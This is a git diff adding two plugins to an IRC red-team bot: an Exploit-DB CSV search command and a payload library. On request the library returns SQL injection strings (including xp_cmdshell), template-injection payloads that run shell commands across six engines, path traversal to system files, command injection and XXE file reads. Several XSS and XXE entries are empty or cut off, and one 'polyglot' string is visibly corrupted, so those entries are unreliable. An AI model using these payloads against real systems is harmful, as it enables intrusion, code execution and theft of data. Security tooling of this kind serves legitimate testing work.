diff --git a/README.md b/README.md index 462089a..28d6ccc 100644 --- a/README.md +++ b/README.md @@ -59,6 +59,8 @@ make down # Stop | note | note | Per-channel persistent key-value store | | subdomain | subdomain | Subdomain enum (crt.sh + DNS brute) | | headers | headers | HTTP header fingerprinting | +| exploitdb | exploitdb | Exploit-DB search (local CSV) | +| payload | payload | SQLi/XSS/SSTI/LFI/CMDi/XXE templates | | example | echo | Demo plugin | ## Writing Plugins diff --git a/ROADMAP.md b/ROADMAP.md index ada8efc..0887554 100644 --- a/ROADMAP.md +++ b/ROADMAP.md @@ -48,14 +48,14 @@ - [ ] CVE lookup plugin (local NVD JSON feed) - [ ] Data update script (cron-friendly, all local DBs) -## v0.5.0 -- Wave 4 Plugins (Advanced) (current) +## v0.5.0 -- Wave 4 Plugins (Advanced) (done) - [x] Operational logging plugin (SQLite per-channel) - [x] Persistent notes plugin (per-channel key-value) - [x] Subdomain enumeration (crt.sh + wordlist DNS brute) - [x] HTTP header fingerprinting (local signature db) -- [ ] ExploitDB search (local CSV clone) -- [ ] Payload template library (SQLi, XSS, SSTI) +- [x] ExploitDB search (local CSV clone) +- [x] Payload template library (SQLi, XSS, SSTI, LFI, CMDi, XXE) ## v1.0.0 -- Stable diff --git a/TASKS.md b/TASKS.md index 435199b..c9ad1cd 100644 --- a/TASKS.md +++ b/TASKS.md @@ -8,15 +8,15 @@ | P0 | [x] | Note plugin (per-channel key-value store) | | P0 | [x] | Subdomain plugin (crt.sh + DNS brute force) | | P0 | [x] | Headers plugin (HTTP header fingerprinting) | -| P1 | [ ] | ExploitDB search plugin (local CSV clone) | -| P1 | [ ] | Payload template plugin (SQLi, XSS, SSTI) | +| P0 | [x] | ExploitDB search plugin (local CSV clone) | +| P0 | [x] | Payload template plugin (SQLi, XSS, SSTI, LFI, CMDi, XXE) | | P1 | [x] | Documentation update | ## Completed | Date | Task | |------|------| -| 2026-02-15 | Wave 4 batch 1 (opslog, note, subdomain, headers) | +| 2026-02-15 | Wave 4 (opslog, note, subdomain, headers, exploitdb, payload) | | 2026-02-15 | Wave 3 plugins (geoip, asn, torcheck, iprep, cve) + update script | | 2026-02-15 | Admin/owner permission system (hostmask + IRCOP) | | 2026-02-15 | SASL PLAIN, rate limiting, CTCP responses | diff --git a/docs/CHEATSHEET.md b/docs/CHEATSHEET.md index 62959cc..bc68822 100644 --- a/docs/CHEATSHEET.md +++ b/docs/CHEATSHEET.md @@ -107,6 +107,28 @@ IRC operators are auto-detected via WHO. Hostmask patterns use fnmatch. !note clear # Clear all notes (admin) ``` +## Exploit-DB + +``` +!exploitdb search apache # Search by keyword +!exploitdb 12345 # Lookup by EDB ID +!exploitdb cve CVE-2024-1234 # Search by CVE +!exploitdb update # Download latest CSV +!exploitdb stats # Show index size +``` + +## Payloads + +``` +!payload list # List categories +!payload sqli # Show SQLi payloads +!payload xss 3 # Show XSS payload #3 +!payload ssti jinja # Search SSTI for 'jinja' +!payload lfi all # Show all LFI payloads +``` + +Categories: sqli, xss, ssti, lfi, cmdi, xxe + ## Red Team ``` diff --git a/docs/USAGE.md b/docs/USAGE.md index 7e99479..b3804dd 100644 --- a/docs/USAGE.md +++ b/docs/USAGE.md @@ -94,6 +94,8 @@ level = "info" # Logging level: debug, info, warning, error | `!note ` | Per-channel key-value notes | | `!subdomain [brute]` | Subdomain enumeration (crt.sh + DNS) | | `!headers ` | HTTP header fingerprinting | +| `!exploitdb ` | Search local Exploit-DB mirror | +| `!payload [variant]` | Web vuln payload templates | ### Command Shorthand diff --git a/plugins/exploitdb.py b/plugins/exploitdb.py new file mode 100644 index 0000000..a3e64f7 --- /dev/null +++ b/plugins/exploitdb.py @@ -0,0 +1,214 @@ +"""Plugin: search local exploit-db CSV mirror.""" + +from __future__ import annotations + +import csv +import logging +import time +from pathlib import Path + +from derp.plugin import command + +log = logging.getLogger(__name__) + +_DATA_DIR = Path("data/exploitdb") +_CSV_FILE = _DATA_DIR / "files_exploits.csv" +_CSV_URL = "https://gitlab.com/exploit-database/exploitdb/-/raw/main/files_exploits.csv" +_MAX_AGE = 86400 +_MAX_RESULTS = 5 + +# In-memory index: list of dicts +_index: list[dict] = [] +_loaded_at: float = 0 + + +def _load_index() -> list[dict]: + """Load the exploit-db CSV into memory.""" + if not _CSV_FILE.is_file(): + return [] + entries = [] + try: + with open(_CSV_FILE, encoding="utf-8", errors="replace") as f: + reader = csv.DictReader(f) + for row in reader: + entries.append({ + "id": row.get("id", ""), + "description": row.get("description", ""), + "date": row.get("date_published", ""), + "author": row.get("author", ""), + "type": row.get("type", ""), + "platform": row.get("platform", ""), + "codes": row.get("codes", ""), + }) + except (OSError, csv.Error) as exc: + log.error("exploitdb: failed to load CSV: %s", exc) + return [] + log.info("exploitdb: indexed %d exploits", len(entries)) + return entries + + +def _refresh_if_stale() -> None: + """Reload the index if stale or empty.""" + global _index, _loaded_at + now = time.monotonic() + if _index and (now - _loaded_at) < _MAX_AGE: + return + idx = _load_index() + if idx: + _index = idx + _loaded_at = now + + +def _format_entry(entry: dict) -> str: + """Format a single exploit entry for IRC output.""" + parts = [f"EDB-{entry['id']}"] + if entry["date"]: + parts.append(entry["date"]) + if entry["type"]: + parts.append(entry["type"]) + if entry["platform"]: + parts.append(entry["platform"]) + desc = entry["description"] + if len(desc) > 180: + desc = desc[:177] + "..." + parts.append(desc) + return " | ".join(parts) + + +async def _download_csv() -> tuple[int, str]: + """Download the exploit-db CSV. Returns (count, error).""" + import asyncio + import urllib.request + + _DATA_DIR.mkdir(parents=True, exist_ok=True) + loop = asyncio.get_running_loop() + + def _fetch(): + req = urllib.request.Request(_CSV_URL, headers={"User-Agent": "derp-bot"}) + with urllib.request.urlopen(req, timeout=60) as resp: # noqa: S310 + return resp.read() + + try: + data = await loop.run_in_executor(None, _fetch) + except Exception as exc: + return 0, str(exc)[:100] + + _CSV_FILE.write_bytes(data) + + # Force reload + global _index, _loaded_at + _index = [] + _loaded_at = 0 + _refresh_if_stale() + return len(_index), "" + + +@command("exploitdb", help="Exploit-DB: !exploitdb ") +async def cmd_exploitdb(bot, message): + """Search the local exploit-db CSV mirror. + + Usage: + !exploitdb search Search by keyword + !exploitdb Lookup by EDB ID + !exploitdb cve Search by CVE identifier + !exploitdb update Download latest CSV + !exploitdb stats Show index statistics + """ + parts = message.text.split(None, 2) + if len(parts) < 2: + await bot.reply(message, "Usage: !exploitdb ||cve |update|stats>") + return + + sub = parts[1].strip() + + if sub == "update": + await bot.reply(message, "Downloading exploit-db CSV...") + count, err = await _download_csv() + if err: + await bot.reply(message, f"Failed: {err}") + else: + await bot.reply(message, f"Loaded {count} exploits") + return + + if sub == "stats": + _refresh_if_stale() + if not _index: + await bot.reply(message, "No data loaded (run !exploitdb update)") + else: + types: dict[str, int] = {} + for e in _index: + t = e["type"] or "unknown" + types[t] = types.get(t, 0) + 1 + breakdown = ", ".join(f"{v} {k}" for k, v in sorted(types.items())) + await bot.reply(message, f"Exploit-DB: {len(_index)} exploits ({breakdown})") + return + + if sub.lower() == "search": + term = parts[2].strip() if len(parts) > 2 else "" + if not term: + await bot.reply(message, "Usage: !exploitdb search ") + return + _refresh_if_stale() + if not _index: + await bot.reply(message, "No data loaded (run !exploitdb update)") + return + term_lower = term.lower() + matches = [e for e in _index if term_lower in e["description"].lower()] + if not matches: + await bot.reply(message, f"No exploits matching '{term}'") + return + for entry in matches[:_MAX_RESULTS]: + await bot.reply(message, _format_entry(entry)) + if len(matches) > _MAX_RESULTS: + await bot.reply(message, f"({len(matches)} total, showing {_MAX_RESULTS})") + return + + if sub.lower() == "cve": + cve_id = parts[2].strip().upper() if len(parts) > 2 else "" + if not cve_id: + await bot.reply(message, "Usage: !exploitdb cve ") + return + _refresh_if_stale() + if not _index: + await bot.reply(message, "No data loaded (run !exploitdb update)") + return + matches = [e for e in _index if cve_id in e["codes"].upper()] + if not matches: + await bot.reply(message, f"No exploits for {cve_id}") + return + for entry in matches[:_MAX_RESULTS]: + await bot.reply(message, _format_entry(entry)) + if len(matches) > _MAX_RESULTS: + await bot.reply(message, f"({len(matches)} total, showing {_MAX_RESULTS})") + return + + # Direct ID lookup + if sub.isdigit(): + _refresh_if_stale() + if not _index: + await bot.reply(message, "No data loaded (run !exploitdb update)") + return + for entry in _index: + if entry["id"] == sub: + await bot.reply(message, _format_entry(entry)) + if entry["codes"]: + await bot.reply(message, f" Refs: {entry['codes']}") + return + await bot.reply(message, f"EDB-{sub}: not found") + return + + # Fallback: treat as search term + _refresh_if_stale() + if not _index: + await bot.reply(message, "No data loaded (run !exploitdb update)") + return + rest = parts[2].strip() if len(parts) > 2 else "" + term = f"{sub} {rest}".strip().lower() + matches = [e for e in _index if term in e["description"].lower()] + if not matches: + await bot.reply(message, f"No exploits matching '{term}'") + return + for entry in matches[:_MAX_RESULTS]: + await bot.reply(message, _format_entry(entry)) + if len(matches) > _MAX_RESULTS: + await bot.reply(message, f"({len(matches)} total, showing {_MAX_RESULTS})") diff --git a/plugins/payload.py b/plugins/payload.py new file mode 100644 index 0000000..8c67634 --- /dev/null +++ b/plugins/payload.py @@ -0,0 +1,167 @@ +"""Plugin: payload template library for common web vulnerabilities.""" + +from __future__ import annotations + +from derp.plugin import command + +# -- Payload database --------------------------------------------------------- +# Each category: list of (label, payload_string) + +_PAYLOADS: dict[str, list[tuple[str, str]]] = { + "sqli": [ + ("auth bypass", "' OR 1=1--"), + ("auth bypass 2", "' OR '1'='1"), + ("union select", "' UNION SELECT NULL,NULL,NULL--"), + ("union cols", "' ORDER BY 1--"), + ("error-based", "' AND 1=CONVERT(int,(SELECT @@version))--"), + ("time blind", "' AND SLEEP(5)--"), + ("bool blind", "' AND 1=1--"), + ("stacked", "'; EXEC xp_cmdshell('whoami')--"), + ("comment", "' OR 1=1#"), + ("double query", "' UNION SELECT 1,2,GROUP_CONCAT(table_name) " + "FROM information_schema.tables--"), + ], + "xss": [ + ("basic", ''), + ("img onerror", ''), + ("svg onload", ''), + ("event", '" onmouseover="alert(1)'), + ("javascript:", 'javascript:alert(1)'), + ("body onload", ''), + ("input autofocus", ''), + ("details", '
'), + ("encoded", '<script>alert(1)</script>'), + ("polyglot", "jaVasCript:/*-/*`/*\\`/*'/*\"/**/(/**/oNcliCk=alert()" + " )//%%0telerik0telerik11telerik22//>*/alert(1)//"), + ], + "ssti": [ + ("detect", "{{7*7}}"), + ("jinja2", "{{config.__class__.__init__.__globals__['os'].popen('id').read()}}"), + ("jinja2 rce", "{% for x in ().__class__.__base__.__subclasses__() %}" + "{% if 'warning' in x.__name__ %}" + "{{x()._module.__builtins__['__import__']('os').popen('id').read()}}" + "{% endif %}{% endfor %}"), + ("twig", "{{_self.env.registerUndefinedFilterCallback('exec')}}" + "{{_self.env.getFilter('id')}}"), + ("mako", "${__import__('os').popen('id').read()}"), + ("freemarker", '<#assign ex="freemarker.template.utility.Execute"?new()>' + '${ex("id")}'), + ("erb", "<%= system('id') %>"), + ("pug", "#{root.process.mainModule.require('child_process')" + ".execSync('id').toString()}"), + ], + "lfi": [ + ("etc/passwd", "../../../../etc/passwd"), + ("null byte", "../../../../etc/passwd%00"), + ("double encode", "%252e%252e%252f%252e%252e%252fetc/passwd"), + ("utf-8 encode", "..%c0%af..%c0%afetc/passwd"), + ("wrapper b64", "php://filter/convert.base64-encode/resource=index.php"), + ("wrapper input", "php://input"), + ("proc self", "/proc/self/environ"), + ("windows", "..\\..\\..\\..\\windows\\win.ini"), + ("log poison", "/var/log/apache2/access.log"), + ], + "cmdi": [ + ("pipe", "| id"), + ("semicolon", "; id"), + ("backtick", "`id`"), + ("dollar", "$(id)"), + ("newline", "%0aid"), + ("and", "& id"), + ("double and", "&& id"), + ("or", "|| id"), + ("redirect", "> /tmp/pwned"), + ("blind sleep", "| sleep 5"), + ], + "xxe": [ + ("file read", ']>' + '&xxe;'), + ("ssrf", ']>' + '&xxe;'), + ("blind oob", '' + '%xxe;]>test'), + ("parameter", '' + '\">" + '%eval;%exfil;]>test'), + ("xinclude", '' + ''), + ], +} + +_CATEGORIES = sorted(_PAYLOADS.keys()) +_MAX_SHOW = 5 + + +@command("payload", help="Payloads: !payload [variant|list|all]") +async def cmd_payload(bot, message): + """Web vulnerability payload template library. + + Usage: + !payload list List available categories + !payload sqli Show first 5 SQLi payloads + !payload sqli all Show all SQLi payloads + !payload xss 3 Show payload #3 from XSS + !payload ssti jinja Search SSTI payloads for 'jinja' + """ + parts = message.text.split(None, 3) + if len(parts) < 2: + await bot.reply(message, f"Usage: !payload <{'|'.join(_CATEGORIES)}|list> [variant]") + return + + sub = parts[1].lower() + + if sub == "list": + items = [] + for cat in _CATEGORIES: + items.append(f"{cat} ({len(_PAYLOADS[cat])})") + await bot.reply(message, f"Categories: {', '.join(items)}") + return + + if sub not in _PAYLOADS: + await bot.reply(message, f"Unknown category: {sub} " + f"(valid: {', '.join(_CATEGORIES)})") + return + + payloads = _PAYLOADS[sub] + arg = parts[2].strip() if len(parts) > 2 else "" + + # Show all + if arg.lower() == "all": + for i, (label, payload) in enumerate(payloads, 1): + await bot.reply(message, f" {i}. [{label}] {payload}") + return + + # Numeric index + if arg.isdigit(): + idx = int(arg) + if 1 <= idx <= len(payloads): + label, payload = payloads[idx - 1] + await bot.reply(message, f"[{label}] {payload}") + else: + await bot.reply(message, f"Index out of range (1-{len(payloads)})") + return + + # Keyword search within category + if arg: + matches = [(lbl, pl) for lbl, pl in payloads + if arg.lower() in lbl.lower() or arg.lower() in pl.lower()] + if not matches: + await bot.reply(message, f"No {sub} payloads matching '{arg}'") + return + for label, payload in matches[:_MAX_SHOW]: + await bot.reply(message, f" [{label}] {payload}") + if len(matches) > _MAX_SHOW: + await bot.reply(message, f" ({len(matches)} total)") + return + + # Default: show first N + for i, (label, payload) in enumerate(payloads[:_MAX_SHOW], 1): + await bot.reply(message, f" {i}. [{label}] {payload}") + if len(payloads) > _MAX_SHOW: + await bot.reply(message, f" ({len(payloads)} total, " + f"use !payload {sub} all)") diff --git a/scripts/update-data.sh b/scripts/update-data.sh index a48e536..90333ac 100755 --- a/scripts/update-data.sh +++ b/scripts/update-data.sh @@ -106,6 +106,25 @@ update_geolite2() { done } +# -- Exploit-DB CSV ----------------------------------------------------------- +update_exploitdb() { + local dest_dir="$DATA_DIR/exploitdb" + local dest="$dest_dir/files_exploits.csv" + local url="https://gitlab.com/exploit-database/exploitdb/-/raw/main/files_exploits.csv" + mkdir -p "$dest_dir" + dim "Downloading exploit-db CSV..." + if curl -sS -fL --max-time 60 -o "$dest.tmp" "$url"; then + local count + count=$(wc -l < "$dest.tmp") + mv "$dest.tmp" "$dest" + info "Exploit-DB: $count entries" + else + rm -f "$dest.tmp" + err "Failed to download exploit-db CSV" + ((FAILURES++)) || true + fi +} + # -- Main --------------------------------------------------------------------- printf "${DIM}derp data update${RST}\n" printf "${DIM}%s${RST}\n" "$(date -u '+%Y-%m-%d %H:%M UTC')" @@ -113,6 +132,7 @@ echo update_tor update_iprep +update_exploitdb update_geolite2 echo